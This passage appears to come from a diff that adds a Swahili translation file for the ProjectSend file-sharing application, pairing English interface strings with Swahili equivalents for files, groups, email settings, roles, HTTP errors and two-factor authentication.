"Hariri akaunti hii ya mfanyakazi", + "Edition": "Toleo", + "Email": "Barua pepe", + "Email address": "Anwani ya barua pepe", + "Email settings": "Mipangilio ya barua pepe", + "Email template reset to default.": "Kiolezo cha barua pepe kimerudishwa kwenye maandishi ya awali.", + "Email template saved.": "Kiolezo cha barua pepe kimehifadhiwa.", + "Email templates": "Violezo vya barua pepe", + "Empty file": "Faili tupu", + "Enable": "Washa", + "Enable the public directory page": "Washa ukurasa wa orodha ya umma", + "Enable two-factor authentication": "Washa uthibitishaji wa hatua mbili", + "Enabled two-factor authentication": "Amewasha uthibitishaji wa hatua mbili", + "Encrypted environment file already exists.": "Faili ya mazingira iliyosimbwa tayari ipo.", + "Encrypted environment file not found.": "Faili ya mazingira iliyosimbwa haijapatikana.", + "Encryption": "Usimbaji fiche", + "Enter one of your recovery codes.": "Weka mojawapo ya misimbo yako ya kurejesha.", + "Enter the six-digit code from your authenticator app.": "Weka msimbo wa tarakimu sita kutoka programu yako ya uthibitishaji.", + "Enter your email and password below to log in": "Weka barua pepe na nenosiri lako hapa chini ili kuingia", + "Environment": "Mazingira", + "Environment file already exists.": "Faili ya mazingira tayari ipo.", + "Environment file not found.": "Faili ya mazingira haijapatikana.", + "errors": "makosa", + "Every comment on files you can see, newest first": "Maoni yote kwenye mafaili unayoyaona, mapya kwanza", + "Every download records the IP address of whoever downloaded it.": "Kila kipakuliwa hurekodi anwani ya IP ya aliyekipakua.", + "Everyone": "Kila mtu", + "Everything that happened on this installation, newest first": "Kila kilichotokea kwenye usakinishaji huu, kipya kwanza", + "Expand": "Panua", + "Expand All": "Panua Yote", + "Expectation Failed": "Matarajio Yameshindikana", + "Expires": "Muda wake huisha", + "Expires :date": "Muda wake huisha :date", + "Explanation": "Maelezo", + "Export": "Hamisha", + "Export :name": "Export :name", + "Export CSV": "Hamisha CSV", + "External storage": "Hifadhi ya nje", + "Extra fields shown on the client create and edit screens.": "Sehemu za ziada zinazoonyeshwa kwenye skrini za kuunda na kuhariri mteja.", + "Failed Dependency": "Imeshindwa Kutegemea", + "Failed to send: :error": "Imeshindwa kutuma: :error", + "File": "Faili", + "File: :name": "Faili: :name", + "File deleted.": "Faili limefutwa.", + "File imported.": "Faili limeingizwa.", + "File name": "Jina la faili", + "File shared with a client": "Faili lililoshirikishwa na mteja", + "File updated.": "Faili limesasishwa.", + "File uploaded.": "Faili limepakiwa.", + "Files": "Mafaili", + "Files can only be assigned to clients or groups.": "Mafaili yanaweza kugawiwa wateja au vikundi pekee.", + "Files shared with you": "Mafaili uliyoshirikishwa", + "Files sitting on disk with no matching record — from an interrupted upload, a restore, or manual filesystem access.": "Mafaili yaliyo kwenye diski bila kumbukumbu inayolingana — kutokana na upakiaji uliokatika, urejeshaji wa nakala, au kuingilia mfumo wa mafaili kwa mkono.", + "Flat labels for files — independent of folders. A file can have several.": "Lebo rahisi za mafaili, zisizotegemea folda. Faili moja linaweza kuwa na kadhaa.", + "Folder": "Folda", + "Folder: :name": "Folda: :name", + "Folder created.": "Folda imeundwa.", + "Folder deleted.": "Folda imefutwa.", + "Folder shared with a client": "Folda iliyoshirikishwa na mteja", + "Folders can only be shared with clients or groups.": "Folda zinaweza kushirikishwa na wateja au vikundi pekee.", + "Folders cannot be nested more than :max levels deep.": "Folda haziwezi kupangwa ndani kwa ndani zaidi ya viwango :max.", + "Forbidden": "Haramu", + "Forgot password?": "Umesahau nenosiri?", + "Found": "Imepatikana", + "From": "Kutoka", + "From address": "Anwani ya mtumaji", + "From name": "Jina la mtumaji", + "Gateway Timeout": "Muda wa Lango Umekwisha", + "General": "Ujumla", + "General settings": "Mipangilio ya jumla", + "Go Home": "Kwenda Nyumbani", + "Go to page :page": "Kwenda kwa ukurasa :page", + "Go to the login form": "Nenda kwenye fomu ya kuingia", + "Gone": "Imeondoka", + "Gray": "Kijivu", + "Green": "Kijani", + "Group": "Kikundi", + "Group created.": "Kikundi kimeundwa.", + "Group deleted.": "Kikundi kimefutwa.", + "Group membership approved": "Uanachama wa kikundi umeidhinishwa", + "Group membership denied": "Uanachama wa kikundi umekataliwa", + "Group updated.": "Kikundi kimesasishwa.", + "Groups": "Vikundi", + "Groups clients can request to join at registration": "Vikundi ambavyo wateja wanaweza kuomba kujiunga wakati wa kujisajili", + "Groups let you assign files to several clients at once": "Vikundi hukuwezesha kugawia mafaili wateja kadhaa kwa mpigo", + "Hello :name,": "Habari :name,", + "Hello, :name": "Habari, :name", + "Hello!": "Hello!", + "Here is what has been shared with you": "Haya ndiyo uliyoshirikishwa", + "Hide": "Ficha", + "Hide :name": "Ficha :name", + "Home": "Nyumbani", + "Host": "Seva", + "How client accounts are created on this installation": "Jinsi akaunti za wateja zinavyoundwa kwenye usakinishaji huu", + "How long a self-deleted account is kept before it is permanently erased.": "Muda ambao akaunti iliyofutwa na mwenyewe huhifadhiwa kabla ya kufutwa kabisa.", + "How many files/folders were shared at once": "Idadi ya mafaili au folda zilizoshirikishwa kwa mpigo", + "HTTP Version Not Supported": "Toleo la HTTP Halitumiki", + "I'm a teapot": "Mimi ni buli", + "If this account is no longer available when an erasure runs, the files are deleted instead of being left ownerless.": "Ikiwa akaunti hii haitapatikana wakati ufutaji unapoendeshwa, mafaili hufutwa badala ya kuachwa bila mmiliki.", + "If you did not create an account, no further action is required.": "Ikiwa hukufungua akaunti, hakuna hatua zaidi inayohitajika.", + "If you did not request a password reset, no further action is required.": "Ikiwa hukuomba kuweka upya nenosiri, hakuna hatua zaidi inayohitajika.", + "If you received this, your email configuration is working.": "Ukipokea ujumbe huu, mipangilio yako ya barua pepe inafanya kazi.", + "If you're having trouble clicking the \":actionText\" button, copy and paste the URL below\ninto your web browser:": "Ikiwa unatatizika kubofya kitufe cha \":actionText\", nakili na ubandike URL iliyo hapa chini \n kwenye kivinjari chako cha wavuti:", + "IM Used": "Imetumika", + "Image": "Picha", + "Impersonate": "Kuiga", + "Impersonation": "Uigaji", + "Import": "Ingiza", + "Import :name": "Ingiza :name", + "Import orphan files": "Ingiza mafaili yatima", + "Import selected": "Ingiza yaliyochaguliwa", + "Imported the orphan file \":subject\"": "Ameingiza faili yatima \":subject\"", + "Inactive": "Haitumiki", + "Include this file when a group it's shared with is public.": "Jumuisha faili hili pale kikundi kilichoshirikishwa nalo kinapokuwa cha umma.", + "Insert": "Ingiza", + "Installed ProjectSend": "Amesakinisha ProjectSend", + "Insufficient Storage": "Hifadhi isiyotosha", + "Internal Server Error": "Hitilafu ya Ndani ya Seva", + "Introduction": "Utangulizi", + "Invalid filename.": "Jina la faili si sahihi.", + "Invalid JSON was returned from the route.": "JSON batili ilirejeshwa kutoka kwenye njia.", + "Invalid SSL Certificate": "Cheti batili cha SSL", + "Label": "Lebo", + "Last modified": "Ilirekebishwa mwisho", + "Latest files": "Mafaili mapya", + "Leave": "Ondoka", + "Leave empty for a link that never expires.": "Acha wazi ili kiungo kisiishe muda kamwe.", + "Leave empty for unlimited downloads.": "Acha wazi ili vipakuliwa visiwe na kikomo.", + "Leave group": "Ondoka kwenye kikundi", + "Leave this group?": "Ondoka kwenye kikundi hiki?", + "Left the group \":subject\"": "Ameondoka kwenye kikundi \":subject\"", + "length": "urefu", + "Length Required": "Urefu Unaohitajika", + "Library": "Maktaba", + "Light": "Mwanga", + "Like": "Kama", + "Limit download counts": "Kuweka kikomo cha idadi ya vipakuliwa", + "Limit to assigned clients": "Zuia kwa wateja waliogawiwa", + "Limits for files uploaded to this installation": "Vikomo vya mafaili yanayopakiwa kwenye usakinishaji huu", + "Link unavailable": "Kiungo hakipatikani", + "Load": "Mzigo", + "Loading…": "Inapakia…", + "Local storage": "Hifadhi ya ndani", + "Localize": "Janibisha", + "Location": "Mahali", + "Locked": "Imefungwa", + "Log in": "Ingia", + "Log In": "Ingia", + "Log in to your account": "Ingia kwenye akaunti yako", + "Log out": "Toka", + "Log Out": "Toka nje", + "Logged in": "Ameingia", + "Logged out": "Ametoka", + "Login": "Ingia", + "Logout": "Toka nje", + "Loop Detected": "Kitanzi Kimegunduliwa", + "Mail provider settings saved.": "Mipangilio ya mtoa huduma wa barua pepe imehifadhiwa.", + "Mailgun": "Mailgun", + "Maintenance Mode": "Hali ya Matengenezo", + "Manage custom fields": "Kusimamia sehemu maalum", + "Manage public links from the edit page.": "Simamia viungo vya umma kutoka ukurasa wa kuhariri.", + "Manage system users and roles": "Kusimamia watumiaji wa mfumo na majukumu", + "Manage updates": "Kusimamia masasisho", + "Manage your profile and account settings": "Simamia wasifu wako na mipangilio ya akaunti", + "Mark all read": "Weka alama zote zimesomwa", + "Mark as read": "Weka alama imesomwa", + "Mark as unread": "Weka alama haijasomwa", + "Max downloads": "Vipakuliwa vya juu", + "Maximum file size (MB)": "Ukubwa wa juu wa faili (MB)", + "Member": "Mwanachama", + "Members": "Wanachama", + "Members of this role only see files and folders belonging to the clients assigned to them, plus their own uploads.": "Walio na jukumu hili huona tu mafaili na folda za wateja waliogawiwa, pamoja na yale waliyopakia wenyewe.", + "Membership request approved.": "Ombi la uanachama limeidhinishwa.", + "Membership request denied.": "Ombi la uanachama limekataliwa.", + "Membership requests": "Maombi ya uanachama", + "Membership requests are reviewed by an administrator": "Maombi ya uanachama hupitiwa na msimamizi", + "Method Not Allowed": "Mbinu Hairuhusiwi", + "Minutes until the reset link expires": "Dakika hadi kiungo cha kuweka upya kiishe muda", + "Misdirected Request": "Ombi Lililopotoshwa", + "Modified": "Imerekebishwa", + "Moved Permanently": "Imehamishwa kwa Kudumu", + "Moved the folder \":subject\"": "Amehamisha folda \":subject\"", + "Multi-line text": "Maandishi ya mistari mingi", + "Multi-Status": "Hali nyingi", + "Multiple Choices": "Chaguo Nyingi", + "Multiple files/folders shared at once (digest)": "Mafaili au folda kadhaa zilizoshirikishwa kwa mpigo (muhtasari)", + "My files": "Mafaili yangu", + "My groups": "Vikundi vyangu", + "Name": "Jina", + "Name or description": "Jina au maelezo", + "Name or email address": "Jina au anwani ya barua pepe", + "Never": "Kamwe", + "Never expires": "Haiishi muda kamwe", + "Network Authentication Required": "Uthibitishaji wa Mtandao Unahitajika", + "Network Connect Timeout Error": "Hitilafu ya Muda wa Kuisha kwa Muunganisho wa Mtandao", + "Network Read Timeout Error": "Hitilafu ya Muda wa Kusoma Mtandaoni", + "New": "Mpya", + "New :name": "Mpya :name", + "New category": "Kategoria mpya", + "New client": "Mteja mpya", + "New client registrations and client uploads are sent here — at least one address is required.": "Usajili wa wateja wapya na mafaili wanayopakia hutumwa hapa — inahitajika angalau anwani moja.", + "New field": "Sehemu mpya", + "New folder": "Folda mpya", + "New group": "Kikundi kipya", + "New membership request from :client for the group \":group\".": "Ombi jipya la uanachama kutoka :client kwa kikundi \":group\".", + "New password (leave blank to keep current)": "Nenosiri jipya (acha wazi ili kubaki na la sasa)", + "New role": "Jukumu jipya", + "New user": "Mtumiaji mpya", + "News": "Habari", + "Next": "Ifuatayo", + "No": "Hapana", + "No activity matches these filters.": "Hakuna shughuli inayolingana na vichujio hivi.", + "No activity recorded yet.": "Bado hakuna shughuli iliyorekodiwa.", + "No categories match your search.": "Hakuna kategoria inayolingana na utafutaji wako.", + "No categories yet.": "Bado hakuna kategoria.", + "No clients match these filters.": "Hakuna mteja anayelingana na vichujio hivi.", + "No clients yet.": "Bado hakuna wateja.", + "No comments match these filters.": "Hakuna maoni yanayolingana na vichujio hivi.", + "No Content": "Hakuna Maudhui", + "No custom fields yet.": "Bado hakuna sehemu maalum.", + "No downloads recorded yet.": "Bado hakuna kipakuliwa kilichorekodiwa.", + "No fields match your search.": "Hakuna sehemu inayolingana na utafutaji wako.", + "No files have been shared with you yet.": "Bado hujashirikishwa faili lolote.", + "No files here yet.": "Bado hakuna mafaili hapa.", + "No files or folders match your search.": "Hakuna faili wala folda inayolingana na utafutaji wako.", + "No files yet. Upload the first one.": "Bado hakuna mafaili. Pakia la kwanza.", + "No folder": "Hakuna folda", + "No groups match these filters.": "Hakuna kikundi kinacholingana na vichujio hivi.", + "No groups yet.": "Bado hakuna vikundi.", + "No members yet.": "Bado hakuna wanachama.", + "No more categories": "Hakuna kategoria zaidi", + "No more clients to add": "Hakuna wateja zaidi wa kuongeza", + "No news yet.": "Bado hakuna habari.", + "No orphan files found.": "Hakuna faili yatima lililopatikana.", + "No orphan files match your search.": "Hakuna faili yatima linalolingana na utafutaji wako.", + "No pending requests.": "Hakuna maombi yanayosubiri.", + "No public links yet.": "Bado hakuna viungo vya umma.", + "No recipients added yet.": "Bado hakuna mpokeaji aliyeongezwa.", + "No requests match your search.": "Hakuna ombi linalolingana na utafutaji wako.", + "No roles match this filter.": "Hakuna jukumu linalolingana na kichujio hiki.", + "No size limit. Uploads can be paused and resume automatically after interruptions.": "Hakuna kikomo cha ukubwa. Upakiaji unaweza kusimamishwa na huendelea wenyewe baada ya kukatika.", + "No users match these filters.": "Hakuna mtumiaji anayelingana na vichujio hivi.", + "No users yet.": "Bado hakuna watumiaji.", + "Nobody (optional for everyone)": "Hakuna mtu (ni hiari kwa wote)", + "Non-Authoritative Information": "Taarifa Zisizo Mamlaka", + "None": "Hakuna", + "None of the selected items could be found.": "Hakuna kipengele chochote kilichochaguliwa kilichopatikana.", + "Not Acceptable": "Haikubaliki", + "Not Extended": "Haijapanuliwa", + "Not Found": "Haipatikani", + "Not Implemented": "Haijatekelezwa", + "Not Modified": "Haijabadilishwa", + "Not shared with anyone yet.": "Bado hakijashirikishwa na mtu yeyote.", + "Notification settings": "Mipangilio ya arifa", + "Notifications": "Arifa", + "Nothing is publicly shared yet.": "Bado hakuna kilichoshirikishwa hadharani.", + "of": "ya", + "OK": "Sawa", + "One option per line": "Chaguo moja kwa kila mstari", + "Only clients can be group members.": "Wateja pekee ndio wanaweza kuwa wanachama wa kikundi.", + "Only clients can comment here.": "Wateja pekee ndio wanaweza kutoa maoni hapa.", + "Only for anonymous downloads": "Kwa vipakuliwa visivyojulikana pekee", + "Only people who are signed in can comment here.": "Watu walioingia pekee ndio wanaweza kutoa maoni hapa.", + "Only staff can comment here.": "Wafanyakazi pekee ndio wanaweza kutoa maoni hapa.", + "Only the wording below is editable — any button or link in this email stays fixed.": "Maandishi ya hapa chini pekee ndiyo yanayoweza kuhaririwa — vitufe na viungo vya barua pepe hii hubaki vilevile.", + "Open": "Fungua", + "Open folder": "Fungua folda", + "Open in a current window": "Fungua kwenye dirisha la sasa", + "Open in a new window": "Fungua katika dirisha jipya", + "Open in a parent frame": "Fungua katika fremu kuu", + "Open in the topmost frame": "Fungua kwenye fremu ya juu kabisa", + "Open on the website": "Fungua kwenye tovuti", + "Open public listing": "Fungua orodha ya umma", + "Options": "Machaguo", + "Or enter this key manually:": "Au weka ufunguo huu kwa mkono:", + "Orange": "Chungwa", + "Origin Is Unreachable": "Asili Haifikiki", + "Outgoing email": "Barua pepe zinazotoka", + "Outgoing email theme": "Mandhari ya barua pepe zinazotoka", + "Page :current of :last": "Ukurasa :current kati ya :last", + "Page Expired": "Ukurasa umeisha Muda Wake", + "Pagination Navigation": "Urambazaji Kurasa", + "Partial Content": "Maudhui Sehemu", + "Password": "Nenosiri", + "Password reset": "Kuweka upya nenosiri", + "Path": "Njia", + "Payload Too Large": "Mzigo Mkubwa Sana", + "Payment Required": "Malipo yanahitajika", + "Pending approval": "Inasubiri idhini", + "Permanent Redirect": "Uelekezaji Upya wa Kudumu", + "Permanently erased a deleted account": "Amefuta kabisa akaunti iliyokuwa imefutwa", + "Permissions": "Ruhusa", + "Pink": "Waridi", + "Platform": "Jukwaa", + "Please click the button below to verify your email address.": "Tafadhali bofya kitufe kilicho hapa chini ili kuthibitisha anwani yako ya barua pepe.", + "Port": "Mlango", + "Postmark": "Postmark", + "Powered by ProjectSend": "Inaendeshwa na ProjectSend", + "Precondition Failed": "Masharti Yameshindikana", + "Precondition Required": "Sharti la awali Inahitajika", + "Preparing your download…": "Inaandaa kipakuliwa chako…", + "Preview": "Hakiki", + "Preview: :theme": "Hakikisho: :theme", + "Previous": "Iliyotangulia", + "Price": "Bei", + "Privacy": "Faragha", + "Privacy settings": "Mipangilio ya faragha", + "Private": "Binafsi", + "Processing": "Inachakata", + "Profile": "Wasifu", + "Profile information was updated": "Taarifa za wasifu zimesasishwa", + "ProjectSend :latestVersion is available (you have :currentVersion)": "ProjectSend :latestVersion inapatikana (una :currentVersion)", + "ProjectSend is free, open source software for sending files to your clients. It is released under the :license, which means you are free to use, study, change and share it.": "ProjectSend ni programu huria yenye msimbo wazi ya kutuma mafaili kwa wateja wako. Inatolewa chini ya :license, ikimaanisha uko huru kuitumia, kuisoma, kuibadilisha na kuishiriki.", + "ProjectSend is ready": "ProjectSend iko tayari", + "ProjectSend was installed": "ProjectSend imesakinishwa", + "Provider": "Mtoa huduma", + "Proxy Authentication Required": "Uthibitishaji wa Wakala Unahitajika", + "Public": "Ya umma", + "Public file": "Faili la umma", + "Public files": "Mafaili ya umma", + "Public group": "Kikundi cha umma", + "Public group listing": "Orodha ya umma ya vikundi", + "Public groups": "Vikundi vya umma", + "Public link": "Kiungo cha umma", + "Public link created.": "Kiungo cha umma kimeundwa.", + "Public link revoked.": "Kiungo cha umma kimetenguliwa.", + "Public links": "Viungo vya umma", + "Public listing": "Orodha ya umma", + "Public listing settings": "Mipangilio ya orodha ya umma", + "Public listing URL": "Anwani ya orodha ya umma", + "Public pages & portal": "Kurasa za umma na lango", + "Public pages and client portal theme": "Mandhari ya kurasa za umma na lango la mteja", + "Published": "Ilichapishwa", + "Purple": "Zambarau", + "Quota": "Kiasi kinachoruhusiwa", + "Railgun Error": "Hitilafu ya bunduki ya reli", + "Range Not Satisfiable": "Masafa Hayatosheki", + "Read more": "Soma zaidi", + "Reassign them to": "Zikabidhi kwa", + "Recent activity": "Shughuli za hivi karibuni", + "Recipient": "Mpokeaji", + "Record": "Rekodi", + "Record IP addresses for downloads": "Rekodi anwani za IP kwa vipakuliwa", + "Recovery code": "Msimbo wa kurejesha", + "Red": "Nyekundu", + "Regards,": "Salamu,", + "Regenerate recovery codes": "Tengeneza upya misimbo ya kurejesha", + "Regenerate recovery codes?": "Tengeneza upya misimbo ya kurejesha?", + "Regenerated two-factor recovery codes": "Ametengeneza upya misimbo ya kurejesha ya hatua mbili", + "Register": "Kujiandikisha", + "Register to access the files shared with you.": "Jisajili ili kufikia mafaili uliyoshirikishwa.", + "Register to request access. An administrator will review your request.": "Jisajili ili kuomba ufikiaji. Msimamizi atapitia ombi lako.", + "Registered a new client account": "Amesajili akaunti mpya ya mteja", + "Related": "Yanayohusiana", + "Remember me": "Nikumbuke", + "Remove": "Ondoa", + "Removed \":member\" from the group \":subject\"": "Amemuondoa \":member\" kwenye kikundi \":subject\"", + "Removed the file \":subject\" from :target": "Ameondoa faili \":subject\" kwa :target", + "Rename": "Badilisha jina", + "Renamed the folder \":subject\"": "Amebadilisha jina la folda \":subject\"", + "Repository": "Hazina ya msimbo", + "Request declined": "Ombi limekataliwa", + "Request Header Fields Too Large": "Omba Sehemu za Kijajuu Kubwa Sana", + "Request membership": "Omba uanachama", + "Request membership to groups (optional)": "Omba uanachama katika vikundi (si lazima)", + "Request Timeout": "Muda wa Ombi umekwisha", + "Requested": "Iliombwa", + "Requested membership to the group \":subject\"": "Ameomba uanachama katika kikundi \":subject\"", + "Requested memberships wait in the membership requests queue for approval.": "Uanachama ulioombwa husubiri idhini kwenye foleni ya maombi ya uanachama.", + "Require two-factor authentication": "Lazimisha uthibitishaji wa hatua mbili", + "Required": "Inahitajika", + "Reset Content": "Weka Upya Maudhui", + "Reset Password": "Weka Upya Nenosiri", + "Reset Password Notification": "Weka upya Arifa ya Nenosiri", + "Reset this email to its default wording?": "Rudisha barua pepe hii kwenye maandishi yake ya awali?", + "Reset to default": "Rudisha kwenye chaguomsingi", + "Restore": "Kurejesha", + "Restore :name": "Rejesha :name", + "Restricted extension": "Kiendelezi kilichozuiwa", + "Result": "Matokeo", + "results": "matokeo", + "Review membership requests": "Kupitia maombi ya uanachama", + "Review pending requests": "Pitia maombi yanayosubiri", + "Retry With": "Jaribu tena Na", + "Revoke": "Tengua", + "Revoke link": "Tengua kiungo", + "Revoke this public link?": "Tengua kiungo hiki cha umma?", + "Revoked a public link for the file \":subject\"": "Ametengua kiungo cha umma cha faili \":subject\"", + "Role": "Jukumu", + "Role created.": "Jukumu limeundwa.", + "Role deleted.": "Jukumu limefutwa.", + "Role name": "Jina la jukumu", + "Role updated.": "Jukumu limesasishwa.", + "Roles": "Majukumu", + "Sample email": "Barua pepe ya mfano", + "Save": "Hifadhi", + "Save :name": "Hifadhi :name", + "Save & Close": "Hifadhi na Ufunge", + "Save & Return": "Hifadhi na Urudi", + "Save your changes to make this live — until then, these buttons point to a page that isn't published yet.": "Hifadhi mabadiliko yako ili hii ianze kutumika — hadi wakati huo, vitufe hivi vinaelekeza kwenye ukurasa ambao bado haujachapishwa.", + "Saved": "Imehifadhiwa", + "Scan this QR code with your authenticator app, then enter the six-digit code to confirm.": "Changanua msimbo huu wa QR kwa programu yako ya uthibitishaji, kisha weka msimbo wa tarakimu sita ili kuthibitisha.", + "Scanning:": "Inachanganua:", + "Scheduled tasks": "Kazi zilizopangwa", + "Search": "Tafuta", + "Search :name": "Tafuta :name", + "Search all files and folders": "Tafuta katika mafaili na folda zote", + "Search by client or group": "Tafuta kwa mteja au kikundi", + "Search by name": "Tafuta kwa jina", + "Search by name or email address": "Tafuta kwa jina au anwani ya barua pepe", + "Search by path": "Tafuta kwa njia", + "Search categories": "Tafuta kategoria", + "Search fields": "Tafuta sehemu", + "Search your files": "Tafuta katika mafaili yako", + "Security": "Usalama", + "Security settings": "Mipangilio ya usalama", + "See Other": "Tazama Nyingine", + "Select": "Chagua", + "Select :name": "Chagua :name", + "Select a client or group": "Chagua mteja au kikundi", + "Select a client to add": "Chagua mteja wa kuongeza", + "Select a role": "Chagua jukumu", + "Select All": "Chagua Zote", + "Select an option": "Chagua chaguo", + "Select at least one file or folder.": "Chagua angalau faili moja au folda moja.", + "Self-registered clients join this group automatically.": "Wateja wanaojisajili wenyewe hujiunga na kikundi hiki kiotomatiki.", + "Send": "Tuma", + "Send email notifications": "Tuma arifa kwa barua pepe", + "Send test email": "Tuma barua pepe ya majaribio", + "SendGrid": "SendGrid", + "Sends a real email right now, bypassing the queue, so you can verify the settings above actually work.": "Hutuma barua pepe halisi sasa hivi bila kupitia foleni, ili uthibitishe kuwa mipangilio ya juu inafanya kazi kweli.", + "Separate paragraphs with a blank line.": "Tenganisha aya kwa mstari mtupu.", + "Server Error": "Hitilafu ya Seva", + "Service Unavailable": "Huduma Hazipatikani", + "Session Has Expired": "Kipindi Kimeisha", + "Set file expiration dates": "Kuweka tarehe za mwisho za mafaili", + "Set to 0 for no limit. Available disk space still applies.": "Weka 0 ili kusiwe na kikomo. Nafasi ya diski iliyopo bado inazingatiwa.", + "Set to 0 to allow requesting again immediately.": "Weka 0 ili kuruhusu kuomba tena mara moja.", + "Set up ProjectSend": "Sanidi ProjectSend", + "Settings": "Mipangilio", + "Settings that apply to the whole installation": "Mipangilio inayohusu usakinishaji mzima", + "Setup complete": "Usanidi umekamilika", + "Share a file with the people who manage your account.": "Shirikisha faili na watu wanaosimamia akaunti yako.", + "Share files with several clients at once": "Shirikisha mafaili na wateja kadhaa kwa mpigo", + "Shared the folder \":subject\" with :target": "Ameshirikisha folda \":subject\" na :target", + "Shared with": "Imeshirikishwa na", + "Shared with :count": "Imeshirikishwa na :count", + "Sharing": "Ushirikishwaji", + "Sharing a folder shares everything inside it, now and later": "Kushirikisha folda humaanisha kushirikisha kila kilichomo, sasa na baadaye", + "Show": "Onyesha", + "Show :name": "Onyesha :name", + "Show All": "Onyesha yote", + "Showing": "Kuonyesha", + "Showing matches from across your library": "Matokeo kutoka maktaba yako yote", + "Showing matches from everything shared with you": "Matokeo kutoka kila ulichoshirikishwa", + "Shown across the application and to your clients.": "Huonyeshwa kwenye programu nzima na kwa wateja wako.", + "Shows a registration form on the login screen.": "Huonyesha fomu ya kujisajili kwenye skrini ya kuingia.", + "Sign In": "Weka sahihi", + "Sign up": "Jisajili", + "Site name": "Jina la tovuti", + "Size": "Ukubwa", + "Skip the IP address when the downloader is a signed-in account — their identity is already known.": "Usirekodi anwani ya IP pale anayepakua ni akaunti iliyoingia — utambulisho wake tayari unajulikana.", + "SMTP configuration": "Usanidi wa SMTP", + "Source code": "Msimbo wa chanzo", + "Special public links": "Viungo maalum vya umma", + "Solve": "Tatua", + "Something went wrong. Please try again.": "Kuna hitilafu iliyotokea. Tafadhali jaribu tena.", + "SSL": "SSL", + "SSL Handshake Failed": "Kupeana Mkono kwa SSL Imeshindwa", + "Staff": "Wafanyakazi", + "Start": "Anza", + "Status": "Hali", + "Stop": "Acha", + "Stopped sharing the folder \":subject\" with :target": "Ameacha kushirikisha folda \":subject\" na :target", + "Storage": "Hifadhi", + "Storage free": "Nafasi iliyobaki", + "Storage quota (MB)": "Kiasi cha hifadhi kinachoruhusiwa (MB)", + "Storage used": "Nafasi iliyotumika", + "Store these recovery codes somewhere safe. Each one can be used once if you lose access to your authenticator app.": "Hifadhi misimbo hii ya kurejesha mahali salama. Kila mmoja unaweza kutumika mara moja endapo utapoteza programu yako ya uthibitishaji.", + "Subfolders": "Folda ndogo", + "Subject": "Mada", + "Submit": "Wasilisha", + "Subscribe": "Jisajili", + "Success: test email sent to :email via :hostport.": "Imefanikiwa: barua pepe ya majaribio imetumwa kwa :email kupitia :hostport.", + "Support the project": "Unga mkono mradi huu", + "Switch": "Badili", + "Switch To Role": "Badili hadi Jukumu", + "Switching Protocols": "Kubadilisha Itifaki", + "System": "Mfumo", + "System Administrator": "Msimamizi wa mfumo", + "System settings": "Mipangilio ya mfumo", + "System settings were updated": "Mipangilio ya mfumo imesasishwa", + "System users": "Watumiaji wa mfumo", + "Tag": "Lebo", + "Tags": "Lebo", + "Temporary Redirect": "Uelekezaji Upya kwa Muda", + "Test": "Jaribio", + "Text": "Maandishi", + "Text or author": "Maandishi au mwandishi", + "The account of :name will be permanently deleted. This cannot be undone.": "Akaunti ya :name itafutwa kabisa. Hatua hii haiwezi kutenduliwa.", + "The account password was changed": "Nenosiri la akaunti limebadilishwa", + "The account request of :name will be denied and the account deleted.": "Ombi la akaunti la :name litakataliwa na akaunti ifutwe.", + "The administrator account was created successfully.": "Akaunti ya msimamizi imeundwa kwa mafanikio.", + "The administrator role always has every permission and cannot be edited.": "Jukumu la msimamizi huwa na ruhusa zote daima na haliwezi kuhaririwa.", + "The base URL segment for public group pages, e.g. :url": "Sehemu ya msingi ya anwani kwa kurasa za vikundi vya umma, k.m. :url", + "The category \":name\" will be removed from all its files. The files themselves are not deleted.": "Kategoria \":name\" itaondolewa kwenye mafaili yake yote. Mafaili yenyewe hayatafutwa.", + "The client's email address": "Anwani ya barua pepe ya mteja", + "The client's name": "Jina la mteja", + "The clients this group shares files with": "Wateja ambao kikundi hiki huwashirikisha mafaili", + "The field \":name\" and all its stored values will be permanently deleted.": "Sehemu \":name\" na thamani zote zilizohifadhiwa ndani yake zitafutwa kabisa.", + "The file \":file\" was uploaded by :client.": "Faili \":file\" limepakiwa na :client.", + "The file \":name\" has been shared with you.": "Umeshirikishwa faili \":name\".", + "The file \":name\" will no longer be available to anyone it was shared with.": "Faili \":name\" halitapatikana tena kwa yeyote aliyeshirikishwa nalo.", + "The file name": "Jina la faili", + "The file or folder name": "Jina la faili au folda", + "The file will be permanently removed from disk. This cannot be undone.": "Faili litaondolewa kabisa kwenye diski. Hatua hii haiwezi kutenduliwa.", + "The files of a public group can be browsed by anyone with the link, without logging in.": "Mafaili ya kikundi cha umma yanaweza kuvinjariwa na yeyote mwenye kiungo, bila kuingia.", + "The files shared with you": "Mafaili uliyoshirikishwa", + "The folder \":name\" and everything inside it will be deleted. This can be undone by an administrator.": "Folda \":name\" na kila kilichomo vitafutwa. Msimamizi anaweza kutendua hatua hii.", + "The following :count items have been shared with you:": "Umeshirikishwa vipengele :count vifuatavyo:", + "The folder \":name\" has been shared with you.": "Umeshirikishwa folda \":name\".", + "The given data was invalid.": "Data iliyotolewa ilikuwa batili.", + "The group \":name\" will be deleted. Its clients keep their accounts.": "Kikundi \":name\" kitafutwa. Wateja wake watabaki na akaunti zao.", + "The group name": "Jina la kikundi", + "The groups you belong to and the ones you can ask to join": "Vikundi ulivyo mwanachama na vile unavyoweza kuomba kujiunga", + "The header/footer style used for every outgoing notification email.": "Mtindo wa kichwa na mkia unaotumika kwa kila barua pepe ya arifa inayotoka.", + "The look of the guest public pages, the client portal, and outgoing notification emails.": "Muonekano wa kurasa za umma kwa wageni, lango la mteja, na barua pepe za arifa zinazotoka.", + "The mail server itself is configured in this installation’s .env file (MAIL_* variables), not here.": "Seva ya barua pepe yenyewe husanidiwa kwenye faili la .env la usakinishaji huu (vigezo vya MAIL_*), si hapa.", + "The people who administer this installation and upload files": "Watu wanaosimamia usakinishaji huu na kupakia mafaili", + "The people you share files with": "Watu unaowashirikisha mafaili", + "The provided two-factor authentication code was invalid.": "Msimbo wa uthibitishaji wa hatua mbili uliowekwa si sahihi.", + "The release this installation is running, and where it comes from.": "Toleo linaloendeshwa na usakinishaji huu, na linakotoka.", + "The response is not a streamed response.": "Jibu si jibu la kutiririshwa.", + "The response is not a view.": "Jibu sio mtazamo.", + "The role \":name\" will be permanently deleted. This cannot be undone.": "Jukumu \":name\" litafutwa kabisa. Hatua hii haiwezi kutenduliwa.", + "The selected folders are empty.": "Folda zilizochaguliwa ni tupu.", + "The uploading client's name": "Jina la mteja anayepakia", + "Their account is waiting for approval.": "Akaunti hii inasubiri idhini.", + "There is nothing to configure yet.": "Bado hakuna cha kusanidi.", + "Test email from :site": "Barua pepe ya majaribio kutoka :site", + 